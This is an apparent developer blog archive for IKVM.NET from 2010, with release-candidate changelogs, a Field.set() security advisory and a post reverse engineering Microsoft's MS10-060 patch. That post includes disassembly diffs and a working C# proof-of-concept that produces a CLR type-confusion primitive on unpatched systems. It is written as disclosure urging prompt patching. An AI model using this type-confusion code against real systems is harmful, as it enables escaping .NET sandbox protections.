# Monday, 23 August 2010
IKVM.NET 0.44 Release Candidate 5

Two more bug fixes and this will hopefully be the final release candidate.

Changes:

  • Changed version to 0.44.0.5
  • Don't seal @Internal classes.
  • Fixed bug #3046925.

Binary available here: ikvmbin-0.44.0.5.zip

Sources: ikvmsrc-0.44.0.5.zip, openjdk6-b18-stripped.zip

The sources zip no longer contains any binaries.

Monday, 23 August 2010 06:35:29 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Wednesday, 18 August 2010
@ikvm.lang.Internal Revisited

A couple of days ago, Dawid Weiss filed a bug related to @ikvm.lang.Internal and while fixing the bug I realized that the feature has significantly evolved since its introduction, but that was never documented.

I originally introduced @ikvm.lang.Internal as a relatively simple workaround for an annoying short coming of Java and mainly for my own convenience in writing the core class libraries, but when I added support InternalsVisibleAttribute things became more complex.

The support for InternalsVisibleToAttribute in itself is something that evolved from relatively weak to the current state of mostly working (there is still one known issue, where InternalsVisibleToAttribute annotations won't be recognized during a multi target build, but this isn't very high priority, because in the common cases ikvmc will automatically add (and recognize) the InternalVisibleToAttribute when needed during multi target compilation.)

So what does @ikvm.lang.Internal do?

It's actually still relatively simple: It marks a type or member as "internal". This means that its Java access modifiers will be ignored (even private members can be marked as internal) and that any other assembly that has access to the assembly's internals will be able to access it (in the case of members, you also need to be able to access to containing type, of course.)

For members this looks a lot like the C# internal access modifier, but for types there is a significant difference to be aware of. From Java code in another assembly (that is designated by InternalsVisibleTo) you can only access types that are explicitly marked with @ikvm.lang.Internal, note that this is unlike C# where any non-nested type can be accessed.

At runtime, when you use reflection to inspect a type or member marked with @ikvm.lang.Internal, it will appear as package accessible. When you use reflection to invoke, set or get a member, it will be treated as internal.

I fixed the bug Dawid reported and also fixed the "effectively final" optimization to not mark classes with @ikvm.lang.Internal as final. The fixes will be in the next 0.44 release candidate.

Wednesday, 18 August 2010 09:19:52 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Saturday, 14 August 2010
Reverse Engineering the MS10-060 .NET Security Patch

On Patch Tuesday, one of the patches Microsoft released was MS10-060. It addresses a Silverlight memory corruption and a CLR delegate issue. I was curious about the CLR delegate issue and decided to see if I could reverse engineer the patch to find the issue. Now, I'm not a professional security researcher or malware developer, so I don't have any good tools to do this. They have binary diffing tools that make it very easy to find the differences between the original file and the patched file. I was stuck with dumpbin /disasm to get the disassembled code for the two versions of the file, but I'm getting ahead of myself.

Patch Contents

In the KB983590 article Microsoft helpfully describes all the files that are changed by the update. Looking through the list it is obvious that there are only two interesting files: mscorwks.dll and mscorlib. After running both the patched and unpatched versions of mscorlib.dll through ildasm it was obvious that there weren't any changes to mscorlib (other than the version number). So I had to focus on the unmanaged code side. I ran the patched and unpatched versions of mscorwks.dll through dumpbin /disasm and looked at the resulting files:

C:\j\ms10-060>dir
Volume in drive C is 320GB_7200 Volume Serial Number is 0404-135D
Directory of C:\j\ms10-060
08/12/2010 08:36 <DIR> . 08/12/2010 08:36 <DIR> .. 05/21/2010 00:49 5,816,656 mscorwks-ms10-060.dll 08/12/2010 08:28 5,157 mscorwks-ms10-060.headers 08/12/2010 08:38 118,871,231 mscorwks-ms10-060.lst 06/10/2009 23:23 5,816,640 mscorwks-vuln.dll 08/12/2010 08:27 5,153 mscorwks-vuln.headers 08/12/2010 08:35 118,827,088 mscorwks-vuln.lst 6 File(s) 249,341,925 bytes 2 Dir(s) 105,945,309,184 bytes free

OK. So the file sizes are somewhat intimidating. I have the Microsoft symbol server configured, so dumpbin helpfully provided the symbol names, so that makes navigating the files a lot easier. Given the description of the vulnerability, I first looked at how the JIT compiles the construction of a delegate and noticed that it calls the JIT_VirtualFunctionPointer method in mscorwks. I looked at that, but it was unmodified by the patch. I did a little more random browsing through the file but wasn't getting anywhere.

The  Security Researcher

On Wednesday I had gotten an e-mail from a security researcher that wanted to know if I had any details on the vulnerability. I told him I hadn't yet, but was very curious and wanted to look into it. We mailed a couple of times more during the week and on Friday he mailed me a list of addresses of functions that had been changed by the patch. Unfortunately, he was probably looking a different version of the patch (for a different platform), because the addresses didn't make any sense to me.

More Searching

However, his e-mail did inspire me to take another look and this time I thought, why not start by examining all the functions in mscorwks from the COMDelegate class. From the Shared Source CLI code I knew that was the native class that contained the native code for System.Delegate. After about an hour of comparing methods I finally found a difference:

Unpatched mscorwks.dll (2.0.50727.4927 Windows 7 x86):

  7A04799D: 8B CB              mov         ecx,ebx
  7A04799F: E8 36 B9 E2 FF     call        ?IsValueType@MethodTable@@QAEHXZ
  7A0479A4: 85 C0              test        eax,eax
  7A0479A6: 74 09              je          7A0479B1
  7A0479A8: F6 46 03 04        test        byte ptr [esi+3],4
  7A0479AC: 75 03              jne         7A0479B1
  7A0479AE: 33 FF              xor         edi,edi
  7A0479B0: 47                 inc         edi
  7A0479B1: 6A 06              push        6
  7A0479B3: 6A 01              push        1
  7A0479B5: 6A 00              push        0
  7A0479B7: 6A 00              push        0
  7A0479B9: 51                 push        ecx
  7A0479BA: 51                 push        ecx
  7A0479BB: 8B C4              mov         eax,esp
  7A0479BD: 89 65 C0           mov         dword ptr [ebp-40h],esp
  7A0479C0: 50                 push        eax
  7A0479C1: 8B CE              mov         ecx,esi
  7A0479C3: E8 C7 6D E3 FF     call        ?GetMethodInstantiation@MethodDesc@@»

Patched mscorwks.dll (2.0.50727.4952 Windows 7 x86):

  7A0479A3: 8B CF              mov         ecx,edi
  7A0479A5: E8 40 B9 E2 FF     call        ?IsValueType@MethodTable@@QAEHXZ
  7A0479AA: 85 C0              test        eax,eax
  7A0479AC: 74 03              je          7A0479B1
  7A0479AE: 33 DB              xor         ebx,ebx
  7A0479B0: 43                 inc         ebx
  7A0479B1: 6A 06              push        6
  7A0479B3: 6A 01              push        1
  7A0479B5: 6A 00              push        0
  7A0479B7: 6A 00              push        0
  7A0479B9: 51                 push        ecx
  7A0479BA: 51                 push        ecx
  7A0479BB: 8B C4              mov         eax,esp
  7A0479BD: 89 65 C0           mov         dword ptr [ebp-40h],esp
  7A0479C0: 50                 push        eax
  7A0479C1: 8B CE              mov         ecx,esi
  7A0479C3: E8 C7 6D E3 FF     call        ?GetMethodInstantiation@MethodDesc@@»

The highlighted code has been removed. This is in the COMDelegate::BindToMethodInfo method. Looking at the Shared Source CLI code it was easy to locate the corresponding code and I noticed that the removed code was probably an inlined call to method->IsUnboxingStub(). A quick search for IsUnboxingStub in the header files confirmed this.

How to Exploit

After a minute of reflection, I guessed that the bug was probably related to how value type methods have a different concept of "this" than normal methods (because a non-boxed value doesn't have an object header, which is normally where the this pointer points). To solve this, the runtime generates UnboxingStubs for virtual methods (inherited from System.Object) that are overridden by a value type.

I hit the jackpot with my first attempt. Here is a slightly modified version of what I tried:

using System;
using System.Reflection;
class Union1 { internal volatile int i; internal volatile int j; }
class Union2 { internal volatile object o; internal volatile int[] arr; }
public struct Foo { object obj; Union2 u2;
public Foo(object obj) { this.obj = obj; this.u2 = null; }
public override string ToString() { Program.u2 = u2; return null; } }
delegate string MyDelegate();
class Program { internal static Union2 u2;
static void Main(string[] args) { Union1 u1 = new Union1();
MethodInfo method = typeof(Foo).GetMethod("ToString"); MyDelegate d = (MyDelegate)Delegate.CreateDelegate(typeof(MyDelegate), new Foo(u1), method); d();
Console.WriteLine(u1); Console.WriteLine(u2); } }

When you run this code on an unpatched system, you'll see that both WriteLine calls output Union1, in other words, we now have a reference typed as Union2 pointing the a Union1 instance. This is exactly the requirement I described in Writing a .NET Security Exploit PoC.

Conclusion

A had read before that malware authors can often update their malware within an hour after a patch is released to take advantage of the vulnerabilities addressed by the patch, but actually doing the reverse engineering myself did really drive home the point. It took me a couple of days, had I had the proper tools and the motivation I could have easily done this within an hour or so of the patch release. Of course, I had some help from the Shared Source CLI and without the source it would have taken me a bit longer, but then again I'm not an experienced malware author.

So installing the security updates in a timely fashion is really important.

Saturday, 14 August 2010 11:01:33 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Tuesday, 10 August 2010
IKVM.NET 0.44 Release Candidate 4

More bug fixes and another release candidate.

Changes:

  • Changed version to 0.44.0.4
  • Fixed Object.wait() to not throw an exception when a timeout > Integer.MAX_VALUE is used. Thanks to Andy Malakov for reporting this.
  • IKVM.Reflection: Fixed IA64 and x64 import directory alignment.
  • IKVM.Reflection: Fixed bug #3040528. Thanks to Ignacio Hernandez-Ros.

Binary available here: ikvmbin-0.44.0.4.zip

Sources: ikvmsrc-0.44.0.4.zip, openjdk6-b18-stripped.zip

The sources zip no longer contains any binaries.

Tuesday, 10 August 2010 08:40:31 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Wednesday, 04 August 2010
IKVM.NET 0.44 Release Candidate 3

A new release candidate with several bug fixes.

Changes:

  • Changed version to 0.44.0.3
  • Updated HOWTO. Thanks to Dawid Weiss.
  • Fixed Process.destroy() to swallow System.ComponentModel.Win32Exception.
  • Fixed Inflater.finished() to not throw NullPointerException if it is called after end() has been called.
  • Fix for bug #3035831. Thanks to Dawid Weiss.
  • Fixed issue with reflecting on inner classes of cli.System.Exception.
  • Fixed another verifier regression introduced with try/fault handler changes.
  • Fixed field reflection slow path to throw NullPointerException instead of IllegalArgumentException for instance fields if the instance object is null.
  • Fixed dynamic mode late bound (dynamic) instructions to throw NoClassDefFoundError before NullPointerException.
  • Fixed Inet4AddressImpl.getHostByAddr() to catch System.ArgumentException and throw java.net.UnknownHostException instead.
  • Fixed path canonicalization issue exposed by JRuby (which subclasses java.io.File to use a / file separator on Windows).

Binary available here: ikvmbin-0.44.0.3.zip

Sources: ikvmsrc-0.44.0.3.zip, openjdk6-b18-stripped.zip

The sources zip no longer contains any binaries.

Wednesday, 04 August 2010 08:35:28 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Tuesday, 27 July 2010
IKVM.NET 0.44 Release Candidate 2

A new release candidate with two bug fixes.

Changes:

  • Changed version to 0.44.0.2
  • Fixed Field.set() bug #3033769.
  • When a protected or public member is accessed in a non-public base class in another assembly that is simultaneously compiled, we need to add an InternalsVisibleTo to the callee assembly for the caller assembly.

Binary available here: ikvmbin-0.44.0.2.zip

Sources: ikvmsrc-0.44.0.2.zip, openjdk6-b18-stripped.zip

The sources zip no longer contains any binaries.

Tuesday, 27 July 2010 08:59:53 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
IKVM.NET Security Update

Potential Security Vulnerability

There is a bug IKVM's implementation of java.lang.reflect.Field.set(). The dynamic method that is generated doesn't properly cast the value to the type of the field. This is obviously a bug, but it could also lead to a type safety vulnerability. It is not directly exploitable, because the unverifiable dynamic method will do a full trust security demand and when there is partially trusted code on the stack, that will fail.

However, if you have any code that indirectly exposes Field.set() to untrusted code, it may be exploitable. In particular, the following scenarios warrant careful attention:

  • Having an assembly in the GAC that has the AllowPartiallyTrustedCallerAttribute and exposes Field.set() functionality to partially trusted callers and uses a security assert to stop the stack walk.
  • If you load partially trusted code in your application and your code uses Field.set() on values controlled by the partially trusted code, without any partially trusted code being directly on the stack.
  • If you process data or a (lightweight) scripting language that somehow exposes Field.set() functionality to untrusted data/code.

Affected Versions

IKVM.NET version 0.38, 0.40, 0.42 and 0.44 are affected. Version 0.36 and earlier are not affected.

Update

There is an update of IKVM.NET 0.42, earlier versions will not be updated and there will be a new 0.44 release candidate later today.

IKVM.NET 0.42 Update 2

Changes:

  • Updated version to 0.42.0.7.
  • Fixed Field.set() bug #3033769.

Binaries available here: ikvmbin-0.42.0.7.zip

Sources: ikvm-0.42.0.7.zip, openjdk6-b16-stripped.zip

Credits

Thanks to Dawid Weiss for reporting this issue.

Tuesday, 27 July 2010 08:57:38 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Monday, 12 July 2010
IKVM.NET 0.44 Release Candidate 1

A new release candidate with two bug fixes.

Changes:

  • Changed version to 0.44.0.1
  • Fixed verifier regression introduced with try/fault handler changes. Thanks to Enrico Minack for reporting this.
  • When a protected field is accessed in a non-public base class in another assembly that is simultaneously compiled, we need to add an InternalsVisibleTo to the callee assembly for the caller assembly.

Binary available here: ikvmbin-0.44.0.1.zip

Sources: ikvmsrc-0.44.0.1.zip, openjdk6-b18-stripped.zip

The sources zip no longer contains any binaries.

Monday, 12 July 2010 09:09:49 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Wednesday, 07 July 2010
IKVM.NET 0.44 Release Candidate 0

The first 0.44 release candidate is available.

What's New (relative to IKVM.NET 0.42):

  • Integrated OpenJDK 6 build 18
  • Bug fixes
  • Code cleanup
  • Many AWT improvements (by Nat and Volker)
  • IKVM.Reflection
  • Ability to build from source targetting .NET 4.0
  • Reflection optimizations
  • Codegen optimizations
  • JNI optimizations
  • Introduced IKVM.OpenJDK.Tools.dll
  • Improved build process (removed dependency on shipping stub jar binaries)
  • Improved ikvmc parameter validation and error handling
  • Annotated all security critical code with .NET 4.0 security model custom attributes
  • Added -nostdlib option to ikvmstub and ikvmc to allow them to work with .NET 4.0 assemblies (while running on .NET 2.0)
  • Implemented RuntimeMXBean and OperatingSystemMXBean
  • Experimental (when built from source, targetting .NET 4.0) support for class GC

Binary available here: ikvmbin-0.44.0.0.zip

Sources: ikvmsrc-0.44.0.0.zip, openjdk6-b18-stripped.zip

The sources zip no longer contains any binaries.

Wednesday, 07 July 2010 15:54:40 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
Bug Reports

I've disabled the ability for anonymous users to post bug reports (and feature requests). Two useless duplicate reports (3026137 and 3026140) pushed me over the edge.

Some bug reporting tips:

  • Include all the (possibly) relevant information (IKVM.NET, .NET / Mono and Operating System version numbers, CPU architecture, error messages, warning messages).
  • Try to create a small repro that demonstrates the problem. Make sure it compiles, don't just include a non-compiling code snippet.
  • Clearly separate fact from speculation.
  • Read this excellent essay on How to Report Bugs Effectively by Simon Tatham.

P.S.  In the case of the above bug report, the poster tried to look at the code for ServerSocket.accept() with Reflector and Reflector crashed. This is a Reflector bug, it simply doesn't understand the code constructs that ikvmc generates (even though they are perfectly valid).

Wednesday, 07 July 2010 14:11:51 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]